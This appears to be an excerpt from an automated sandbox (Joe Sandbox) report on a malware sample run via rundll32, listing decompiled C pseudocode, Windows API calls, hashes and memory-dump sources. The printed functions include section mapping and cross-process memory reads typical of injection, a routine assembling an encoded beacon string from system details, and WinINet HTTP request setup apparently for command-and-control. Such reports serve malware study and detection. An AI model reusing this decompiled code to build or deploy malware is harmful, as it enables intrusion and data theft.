                          • StrRChrA.SHLWAPI(00000018,00000000,0000005C,00000000,00000318,?,00000000,00000068,00000098,00000000,00000028,00000040,00000000,00000000,00000028,00000100), ref: 04CC6359
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressProcWow64$AllocateHeapInformationMemory64Process64QueryReadVirtual
                          • String ID:
                          • API String ID: 3547194813-0
                          • Opcode ID: a4753b9d7050c06b206eb24c96257cbb6f1c7701b47d556357a8e1a2f38f1df7
                          • Instruction ID: 3242bebabb591b8b83f2fc6f163e47aa785ce47ff5026347e15aad329f28fc4c
                          • Opcode Fuzzy Hash: a4753b9d7050c06b206eb24c96257cbb6f1c7701b47d556357a8e1a2f38f1df7
                          • Instruction Fuzzy Hash: 05614F71A0020AAFDF15DFA5C980BEEBBB5FF08304F044529E915AB241D770FA55DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC0782 Relevance: 4.6, APIs: 3, Instructions: 56librarynativeloaderCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CC0796
                          • GetProcAddress.KERNEL32(?), ref: 04CC07BE
                          • NtWow64QueryInformationProcess64.NTDLL(?,00000000,?,00000030,00000000,?,00001000,00000000), ref: 04CC07DC
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressInformationProcProcess64QueryWow64memset
                          • String ID:
                          • API String ID: 2968673968-0
                          • Opcode ID: f9f536c66ff3bc49c2c799da337c3ee3e6d47864b99865eb6497cb76d1abe2fd
                          • Instruction ID: aeabbcc16b585b5ebc933d02206c9ceb179ef703a953d9590a5334bfd63090a2
                          • Opcode Fuzzy Hash: f9f536c66ff3bc49c2c799da337c3ee3e6d47864b99865eb6497cb76d1abe2fd
                          • Instruction Fuzzy Hash: FD118239A01219EFEB14DB95DC49FA97BB9EB49704F058028E904EB290E775ED05CFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7190C Relevance: 3.1, APIs: 2, Instructions: 70nativeCOMMON
                          Download Yara Rule
                          C-Code - Quality: 72%
                          			E04C7190C(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E04C76D0A(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                          0x04c71915
                          0x04c7191c
                          0x04c7191d
                          0x04c7191e
                          0x04c7191f
                          0x04c71920
                          0x04c71931
                          0x04c71935
                          0x04c71949
                          0x04c7194c
                          0x04c7194f
                          0x04c71956
                          0x04c71959
                          0x04c71960
                          0x04c71963
                          0x04c71966
                          0x04c71969
                          0x04c7196e
                          0x04c719a9
                          0x04c71970
                          0x04c71973
                          0x04c71979
                          0x04c7197e
                          0x04c71982
                          0x04c719a0
                          0x04c71984
                          0x04c7198b
                          0x04c71999
                          0x04c71999
                          0x04c71982
                          0x04c719b1

                          APIs
                          • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,04C7459D), ref: 04C71969
                            • Part of subcall function 04C76D0A: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04C7197E,00000002,00000000,?,?,00000000,?,?,04C7197E,00000000), ref: 04C76D37
                          • memset.NTDLL ref: 04C7198B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Section$CreateViewmemset
                          • String ID:
                          • API String ID: 2533685722-0
                          • Opcode ID: 39c6781f9f66cf2048ae46488313ef5fadf544eee56d406a9c41bd712d4d7bd0
                          • Instruction ID: d8453174f5ec315d5f6fdd49ba6d8dc5870ddf6e98a98f6ff6f7afd94c547ade
                          • Opcode Fuzzy Hash: 39c6781f9f66cf2048ae46488313ef5fadf544eee56d406a9c41bd712d4d7bd0
                          • Instruction Fuzzy Hash: 1C211DB1E00209AFDB11DFA9C8849EEFBF9FF48354F148429E506F3210D730AA499B65
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCA806 Relevance: 3.0, APIs: 2, Instructions: 35librarynativeloaderCOMMON
                          Download Yara Rule
                          APIs
                          • GetProcAddress.KERNEL32(?,00000000), ref: 04CCA82F
                          • NtWow64ReadVirtualMemory64.NTDLL(00000100,?,?,00000028,00000000,00000000,00000100,00000000,?,?,?,04CC6230,00000000,00000000,00000028,00000100), ref: 04CCA851
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressMemory64ProcReadVirtualWow64
                          • String ID:
                          • API String ID: 752694512-0
                          • Opcode ID: a49e2220b05def3ce3c7753f2a16b2a9ac398b98efe210676ffc26b09eed47a7
                          • Instruction ID: 630785340501a43388390989af8586c290e742952f55f6e63bf0d01a6a5dae38
                          • Opcode Fuzzy Hash: a49e2220b05def3ce3c7753f2a16b2a9ac398b98efe210676ffc26b09eed47a7
                          • Instruction Fuzzy Hash: 63F01D7A501108FFDB118F99DC48DAEBBBAEB89710714411DF904C3220D376EA52DB20
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76D0A Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                          Download Yara Rule
                          C-Code - Quality: 68%
                          			E04C76D0A(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                          0x04c76d1c
                          0x04c76d22
                          0x04c76d30
                          0x04c76d37
                          0x04c76d3c
                          0x04c76d42
                          0x00000000
                          0x04c76d43
                          0x00000000

                          APIs
                          • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04C7197E,00000002,00000000,?,?,00000000,?,?,04C7197E,00000000), ref: 04C76D37
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: SectionView
                          • String ID:
                          • API String ID: 1323581903-0
                          • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                          • Instruction ID: d8d0d6a2a6ff54e085fcc9515d2926970772ba5bca2500376846a827d0657532
                          • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                          • Instruction Fuzzy Hash: 00F037B5A0060CFFDB119FA5CC85C9FBBBDEB443A4F108939F552E5090D630AE089B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB74AE Relevance: 1.5, APIs: 1, Instructions: 33nativeCOMMON
                          Download Yara Rule
                          APIs
                          • NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,04CDA400), ref: 04CB74C5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: InformationProcessQuery
                          • String ID:
                          • API String ID: 1778838933-0
                          • Opcode ID: a57f0a58d3526ecbfc880d56837c5481d165da77ac7aacb51774e90365d542a6
                          • Instruction ID: 16b3eb75eff4c397b8ba24a242abb3e0b7d5bde0bfc8daa850f6b5d18fa0cae5
                          • Opcode Fuzzy Hash: a57f0a58d3526ecbfc880d56837c5481d165da77ac7aacb51774e90365d542a6
                          • Instruction Fuzzy Hash: CDF05E357021159B8B20CE59D884EEBBBAAFB45755B104114ED44DB260D330FE05CFE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C756C8 Relevance: 39.2, APIs: 26, Instructions: 234memorystringCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          C-Code - Quality: 70%
                          			E04C756C8(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t32;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t43;
				int _t46;
				intOrPtr _t47;
				int _t50;
				void* _t51;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr* _t68;
				void* _t69;
				intOrPtr _t74;
				intOrPtr _t80;
				intOrPtr _t83;
				intOrPtr _t86;
				int _t89;
				intOrPtr _t90;
				int _t93;
				intOrPtr _t95;
				int _t98;
				intOrPtr _t100;
				int _t103;
				void* _t105;
				void* _t106;
				void* _t110;
				void* _t112;
				void* _t113;
				intOrPtr _t114;
				long _t116;
				intOrPtr* _t117;
				intOrPtr* _t118;
				long _t119;
				int _t120;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;

				_t110 = __edx;
				_t106 = __ecx;
				_t127 =  &_v16;
				_t119 = __eax;
				_t32 =  *0x4c7a3e0; // 0x5249b78
				_v4 = _t32;
				_v8 = 8;
				_t33 = RtlAllocateHeap( *0x4c7a2d8, 0, 0x800); // executed
				_t105 = _t33;
				if(_t105 != 0) {
					if(_t119 == 0) {
						_t119 = GetTickCount();
					}
					_t35 =  *0x4c7a018; // 0xad359284
					asm("bswap eax");
					_t36 =  *0x4c7a014; // 0x3a87c8cd
					asm("bswap eax");
					_t37 =  *0x4c7a010; // 0xd8d2f808
					asm("bswap eax");
					_t38 =  *0x4c7a00c; // 0xeec43f25
					asm("bswap eax");
					_t39 =  *0x4c7a348; // 0x5cd5a8
					_t3 = _t39 + 0x4c7b62b; // 0x74666f73
					_t120 = wsprintfA(_t105, _t3, 2, 0x3d175, _t38, _t37, _t36, _t35,  *0x4c7a02c,  *0x4c7a004, _t119);
					_t42 = E04C76927();
					_t43 =  *0x4c7a348; // 0x5cd5a8
					_t4 = _t43 + 0x4c7b66b; // 0x74707526
					_t46 = wsprintfA(_t120 + _t105, _t4, _t42);
					_t129 = _t127 + 0x38;
					_t121 = _t120 + _t46;
					if(_a12 != 0) {
						_t100 =  *0x4c7a348; // 0x5cd5a8
						_t8 = _t100 + 0x4c7b676; // 0x732526
						_t103 = wsprintfA(_t121 + _t105, _t8, _a12);
						_t129 = _t129 + 0xc;
						_t121 = _t121 + _t103;
					}
					_t47 =  *0x4c7a348; // 0x5cd5a8
					_t10 = _t47 + 0x4c7b2de; // 0x74636126
					_t50 = wsprintfA(_t121 + _t105, _t10, 0);
					_t130 = _t129 + 0xc;
					_t122 = _t121 + _t50; // executed
					_t51 = E04C722D7(_t106); // executed
					_t112 = _t51;
					if(_t112 != 0) {
						_t95 =  *0x4c7a348; // 0x5cd5a8
						_t12 = _t95 + 0x4c7b8d0; // 0x736e6426
						_t98 = wsprintfA(_t122 + _t105, _t12, _t112);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t98;
						HeapFree( *0x4c7a2d8, 0, _t112);
					}
					_t113 = E04C72A11();
					if(_t113 != 0) {
						_t90 =  *0x4c7a348; // 0x5cd5a8
						_t14 = _t90 + 0x4c7b8d8; // 0x6f687726
						_t93 = wsprintfA(_t122 + _t105, _t14, _t113);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t93;
						HeapFree( *0x4c7a2d8, 0, _t113);
					}
					_t114 =  *0x4c7a3cc; // 0x52495b0
					_a20 = E04C72509(0x4c7a00a, _t114 + 4);
					_t55 =  *0x4c7a370; // 0x0
					_t116 = 0;
					if(_t55 != 0) {
						_t86 =  *0x4c7a348; // 0x5cd5a8
						_t17 = _t86 + 0x4c7b8b2; // 0x3d736f26
						_t89 = wsprintfA(_t122 + _t105, _t17, _t55);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t89;
					}
					_t56 =  *0x4c7a36c; // 0x0
					if(_t56 != _t116) {
						_t83 =  *0x4c7a348; // 0x5cd5a8
						_t19 = _t83 + 0x4c7b889; // 0x3d706926
						wsprintfA(_t122 + _t105, _t19, _t56);
					}
					if(_a20 != _t116) {
						_t123 = RtlAllocateHeap( *0x4c7a2d8, _t116, 0x800);
						if(_t123 != _t116) {
							E04C71BE9(GetTickCount());
							_t62 =  *0x4c7a3cc; // 0x52495b0
							__imp__(_t62 + 0x40);
							asm("lock xadd [eax], ecx");
							_t66 =  *0x4c7a3cc; // 0x52495b0
							__imp__(_t66 + 0x40);
							_t68 =  *0x4c7a3cc; // 0x52495b0
							_t69 = E04C71D33(1, _t110, _t105,  *_t68); // executed
							_t126 = _t69;
							asm("lock xadd [eax], ecx");
							if(_t126 != _t116) {
								StrTrimA(_t126, 0x4c7928c);
								_push(_t126);
								_t74 = E04C7393C();
								_v20 = _t74;
								if(_t74 != _t116) {
									_t117 = __imp__;
									 *_t117(_t126, _v8);
									 *_t117(_t123, _v8);
									_t118 = __imp__;
									 *_t118(_t123, _v32);
									 *_t118(_t123, _t126);
									_t80 = E04C7375F(0xffffffffffffffff, _t123, _v28, _v24); // executed
									_v56 = _t80;
									if(_t80 != 0 && _t80 != 0x10d2) {
										E04C7561E();
									}
									HeapFree( *0x4c7a2d8, 0, _v48);
									_t116 = 0;
								}
								HeapFree( *0x4c7a2d8, _t116, _t126);
							}
							RtlFreeHeap( *0x4c7a2d8, _t116, _t123); // executed
						}
						HeapFree( *0x4c7a2d8, _t116, _a12);
					}
					RtlFreeHeap( *0x4c7a2d8, _t116, _t105); // executed
				}
				return _v16;
			}





























































                          0x04c756c8
                          0x04c756c8
                          0x04c756c8
                          0x04c756dd
                          0x04c756df
                          0x04c756e4
                          0x04c756e8
                          0x04c756f0
                          0x04c756f6
                          0x04c756fa
                          0x04c75702
                          0x04c7570a
                          0x04c7570a
                          0x04c7570c
                          0x04c75718
                          0x04c75727
                          0x04c7572c
                          0x04c7572f
                          0x04c75734
                          0x04c75737
                          0x04c7573c
                          0x04c7573f
                          0x04c7574b
                          0x04c75758
                          0x04c7575a
                          0x04c75760
                          0x04c75765
                          0x04c75770
                          0x04c75772
                          0x04c75775
                          0x04c7577b
                          0x04c7577d
                          0x04c75786
                          0x04c75791
                          0x04c75793
                          0x04c75796
                          0x04c75796
                          0x04c75798
                          0x04c7579d
                          0x04c757a9
                          0x04c757ab
                          0x04c757ae
                          0x04c757b0
                          0x04c757b5
                          0x04c757b9
                          0x04c757bb
                          0x04c757c0
                          0x04c757cc
                          0x04c757ce
                          0x04c757da
                          0x04c757dc
                          0x04c757dc
                          0x04c757e7
                          0x04c757eb
                          0x04c757ed
                          0x04c757f2
                          0x04c757fe
                          0x04c75800
                          0x04c7580c
                          0x04c7580e
                          0x04c7580e
                          0x04c75814
                          0x04c75827
                          0x04c7582b
                          0x04c75830
                          0x04c75834
                          0x04c75837
                          0x04c7583c
                          0x04c75847
                          0x04c75849
                          0x04c7584c
                          0x04c7584c
                          0x04c7584e
                          0x04c75855
                          0x04c75858
                          0x04c7585d
                          0x04c75867
                          0x04c75869
                          0x04c75870
                          0x04c75888
                          0x04c7588c
                          0x04c75898
                          0x04c7589d
                          0x04c758a6
                          0x04c758b7
                          0x04c758bb
                          0x04c758c4
                          0x04c758ca
                          0x04c758d2
                          0x04c758d7
                          0x04c758e4
                          0x04c758ea
                          0x04c758f6
                          0x04c758fc
                          0x04c758fd
                          0x04c75902
                          0x04c75908
                          0x04c7590e
                          0x04c75915
                          0x04c7591c
                          0x04c75922
                          0x04c75929
                          0x04c7592d
                          0x04c75938
                          0x04c7593d
                          0x04c75943
                          0x04c7594c
                          0x04c7594c
                          0x04c7595d
                          0x04c75963
                          0x04c75963
                          0x04c7596d
                          0x04c7596d
                          0x04c7597b
                          0x04c7597b
                          0x04c7598c
                          0x04c7598c
                          0x04c7599a
                          0x04c7599a
                          0x04c759ab

                          APIs
                          • RtlAllocateHeap.NTDLL ref: 04C756F0
                          • GetTickCount.KERNEL32 ref: 04C75704
                          • wsprintfA.USER32 ref: 04C75753
                          • wsprintfA.USER32 ref: 04C75770
                          • wsprintfA.USER32 ref: 04C75791
                          • wsprintfA.USER32 ref: 04C757A9
                          • wsprintfA.USER32 ref: 04C757CC
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C757DC
                          • wsprintfA.USER32 ref: 04C757FE
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C7580E
                          • wsprintfA.USER32 ref: 04C75847
                          • wsprintfA.USER32 ref: 04C75867
                          • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04C75882
                          • GetTickCount.KERNEL32 ref: 04C75892
                          • RtlEnterCriticalSection.NTDLL(05249570), ref: 04C758A6
                          • RtlLeaveCriticalSection.NTDLL(05249570), ref: 04C758C4
                          • StrTrimA.SHLWAPI(00000000,04C7928C,00000000,052495B0), ref: 04C758F6
                          • lstrcpy.KERNEL32(00000000,?), ref: 04C75915
                          • lstrcpy.KERNEL32(00000000,?), ref: 04C7591C
                          • lstrcat.KERNEL32(00000000,?), ref: 04C75929
                          • lstrcat.KERNEL32(00000000,00000000), ref: 04C7592D
                          • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04C7595D
                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04C7596D
                          • RtlFreeHeap.NTDLL(00000000,00000000,00000000,052495B0), ref: 04C7597B
                          • HeapFree.KERNEL32(00000000,?), ref: 04C7598C
                          • RtlFreeHeap.NTDLL(00000000,00000000), ref: 04C7599A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Heap$wsprintf$Free$AllocateCountCriticalSectionTicklstrcatlstrcpy$EnterLeaveTrim
                          • String ID:
                          • API String ID: 2591679948-0
                          • Opcode ID: ff4ba23d960f7996963abdd4deeef9a1cffb59d62a1e3a8025614039d8561947
                          • Instruction ID: 8fca44c5e54b26f3af669207b854c8c9fb35d5d958f91c42ae6b2045defada8b
                          • Opcode Fuzzy Hash: ff4ba23d960f7996963abdd4deeef9a1cffb59d62a1e3a8025614039d8561947
                          • Instruction Fuzzy Hash: 9881F2B9500204AFD711AF64EC49FAF3BF9EB88305B050524FA09C7221EA3AED05DB61
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB34FF Relevance: 21.1, APIs: 14, Instructions: 126memorysynchronizationCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 143 4cb34ff-4cb3510 144 4cb3512-4cb351e call 4cb1268 call 4cce869 143->144 145 4cb3564-4cb356f 143->145 159 4cb3524-4cb3531 SleepEx 144->159 146 4cb3571 call 4cb9e82 145->146 147 4cb3576-4cb3588 call 4cc2650 145->147 146->147 154 4cb358a-4cb3597 ReleaseMutex CloseHandle 147->154 155 4cb3599-4cb35a0 147->155 154->155 157 4cb35a2-4cb35af ResetEvent CloseHandle 155->157 158 4cb35b1-4cb35be SleepEx 155->158 157->158 158->158 160 4cb35c0 158->160 159->159 161 4cb3533-4cb353a 159->161 162 4cb35c5-4cb35d2 SleepEx 160->162 163 4cb353c-4cb3542 161->163 164 4cb3550-4cb3562 RtlDeleteCriticalSection * 2 161->164 166 4cb35db-4cb35e2 162->166 167 4cb35d4-4cb35d9 162->167 163->164 165 4cb3544-4cb354b call 4cce803 163->165 164->145 165->164 169 4cb35f3-4cb35fa 166->169 170 4cb35e4-4cb35ed HeapFree 166->170 167->162 167->166 171 4cb35fc-4cb35fd call 4cc83fa 169->171 172 4cb3602-4cb3608 169->172 170->169 171->172 174 4cb360a-4cb3611 172->174 175 4cb3619-4cb3620 172->175 174->175 176 4cb3613-4cb3615 174->176 177 4cb3629-4cb362f 175->177 178 4cb3622-4cb3623 RtlRemoveVectoredExceptionHandler 175->178 176->175 179 4cb3631 call 4cb9131 177->179 180 4cb3636 177->180 178->177 179->180 182 4cb363b-4cb3648 SleepEx 180->182 183 4cb364a-4cb364f 182->183 184 4cb3651-4cb365a 182->184 183->182 183->184 185 4cb365c-4cb3661 184->185 186 4cb3672-4cb3682 LocalFree 184->186 185->186 187 4cb3663 185->187 188 4cb3666-4cb3670 FindCloseChangeNotification 187->188 188->186 188->188
                          APIs
                          • SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,04CCE846), ref: 04CB3528
                          • RtlDeleteCriticalSection.NTDLL(04CDA3E0), ref: 04CB355B
                          • RtlDeleteCriticalSection.NTDLL(04CDA400), ref: 04CB3562
                          • ReleaseMutex.KERNEL32(000005BC,00000000,?,?,?,04CCE846), ref: 04CB358B
                          • CloseHandle.KERNEL32(?,?,04CCE846), ref: 04CB3597
                          • ResetEvent.KERNEL32(00000000,00000000,?,?,?,04CCE846), ref: 04CB35A3
                          • CloseHandle.KERNEL32(?,?,04CCE846), ref: 04CB35AF
                          • SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,04CCE846), ref: 04CB35B5
                          • SleepEx.KERNEL32(00000064,00000001,?,?,04CCE846), ref: 04CB35C9
                          • HeapFree.KERNEL32(00000000,00000000,?,?,04CCE846), ref: 04CB35ED
                          • RtlRemoveVectoredExceptionHandler.NTDLL(04CF05B8), ref: 04CB3623
                          • SleepEx.KERNEL32(00000064,00000001,?,?,04CCE846), ref: 04CB363F
                          • FindCloseChangeNotification.KERNEL32(060DF2C0,?,?,04CCE846), ref: 04CB3668
                          • LocalFree.KERNEL32(?,?,04CCE846), ref: 04CB3678
                            • Part of subcall function 04CB1268: GetVersion.KERNEL32(?,?,7620F720,?,04CB3517,00000000,?,?,?,04CCE846), ref: 04CB128C
                            • Part of subcall function 04CB1268: GetModuleHandleA.KERNEL32(?,060D97B5,?,7620F720,?,04CB3517,00000000,?,?,?,04CCE846), ref: 04CB12A9
                            • Part of subcall function 04CB1268: GetProcAddress.KERNEL32(00000000), ref: 04CB12B0
                            • Part of subcall function 04CCE869: RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CCE873
                            • Part of subcall function 04CCE869: RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CCE8AF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSectionSleep$CloseHandle$DeleteFree$AddressChangeEnterEventExceptionFindHandlerHeapLeaveLocalModuleMutexNotificationProcReleaseRemoveResetVectoredVersion
                          • String ID:
                          • API String ID: 1047430009-0
                          • Opcode ID: c6209b417d96ebcdbe3a2e0d90d6dfe6494f54c96234cc480d3849789abdf3fe
                          • Instruction ID: a8535234f4e7f62c098d3d016708aa04d9d4b33aee4805a49dcd4fecad6ba605
                          • Opcode Fuzzy Hash: c6209b417d96ebcdbe3a2e0d90d6dfe6494f54c96234cc480d3849789abdf3fe
                          • Instruction Fuzzy Hash: A541827D702251EBDB20AF69EC84B9577AAFB08745F454025E940D7260CB7AFD44CAE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C77AF1 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          C-Code - Quality: 92%
                          			E04C77AF1(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E04C76D63(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E04C76C2C(_t56);
					} else {
						E04C76C2C( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E04C77A86) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E04C76E40( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x4c7a348; // 0x5cd5a8
						_t15 = _t59 + 0x4c7b73b; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                          0x04c77af1
                          0x04c77af1
                          0x04c77afc
                          0x04c77b03
                          0x04c77b0b
                          0x04c77b15
                          0x04c77b1b
                          0x04c77b2e
                          0x04c77b3e
                          0x04c77b30
                          0x04c77b33
                          0x04c77b38
                          0x04c77b38
                          0x04c77b2e
                          0x04c77b4e
                          0x04c77b54
                          0x04c77b59
                          0x04c77c42
                          0x00000000
                          0x04c77b74
                          0x04c77b77
                          0x04c77b8a
                          0x04c77b90
                          0x04c77b95
                          0x04c77bbd
                          0x04c77bd0
                          0x04c77bda
                          0x04c77bdd
                          0x04c77be3
                          0x04c77be8
                          0x00000000
                          0x00000000
                          0x04c77bec
                          0x04c77bf8
                          0x04c77c09
                          0x04c77c0b
                          0x04c77c1c
                          0x04c77c1c
                          0x04c77c2c
                          0x00000000
                          0x04c77c3e
                          0x00000000
